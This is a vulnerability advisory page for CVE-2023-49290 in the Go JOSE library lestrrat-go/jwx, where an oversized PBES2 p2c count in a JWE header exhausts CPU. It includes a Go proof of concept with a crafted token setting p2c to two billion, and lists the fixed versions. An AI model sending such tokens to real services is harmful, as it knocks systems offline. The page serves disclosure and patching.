CVE-2023-49290: Malicious parameters can cause a denial of service in lestrrat-go/jwx

Published Dec 4, 2023
·
Updated

Summary too high p2c parameter in JWE's alg PBES2- could lead to a DOS attack

Details The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack

PoC go package main

import ( "fmt" "github.com/lestrrat-go/jwx/v2/jwa" "github.com/lestrrat-go/jwx/v2/jwe" "github.com/lestrrat-go/jwx/v2/jwk" )

func main() { token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6iTaGsgqEOxU-1Sgdakp4mHq7UVhn-REzOiGz2gg.gULfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA") key, err := jwk.FromRaw([]byte(abcdefg)) payload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2HS256A128KW, key)) if err == nil { fmt.Println(string(payload)) } }

Impact It's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.

Other sources

lestrrat-go/jwx is a Go module implementing various JWx (JWA/JWE/JWK/JWS/JWT, otherwise known as JOSE) technologies. A p2c parameter set too high in JWE's algorithm PBES2- could lead to a denial of service. The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a denial of service. This vulnerability has been addressed in commit 64f2a229b which has been included in release version 1.2.27 and 2.0.18. Users are advised to upgrade. There are no known workarounds for this vulnerability.

— NVD

Affected Software

5 affected componentsFixes available
go/github.com/lestrrat-go/jwx/v2<2.0.18
2.0.18
go/github.com/lestrrat-go/jwx<1.2.27
1.2.27
lestrrat-go jwx<=1.2.27
lestrrat-go jwx>=2.0.0<2.0.18
lestrrat-go jwx<1.2.27

Event History

Dec 4, 2023
CVE Published
11:42 PM
Data Sourced
11:42 PM
DescriptionSeverityWeakness
Dec 5, 2023
Data Sourced
via NVD·12:15 AM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·11:29 PM

Frequently Asked Questions

1

What is the vulnerability ID of this issue?

This vulnerability is identified by CVE-2023-49290.

2

What software is affected by this vulnerability?

The vulnerability affects the lestrrat-go/jwx and lestrrat-go/jwx/v2 packages in versions up to 1.2.27 and 2.0.18 respectively.

3

What is the severity of CVE-2023-49290?

The severity of this vulnerability is medium, with a CVSS score of 5.3.

4

How can this vulnerability be exploited?

This vulnerability can be exploited by providing malicious parameters in JWE's alg PBES2-* leading to a denial of service attack.

5

What is the fix for CVE-2023-49290?

To fix this vulnerability, it is recommended to update to version 1.2.27 for lestrrat-go/jwx or version 2.0.18 for lestrrat-go/jwx/v2.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203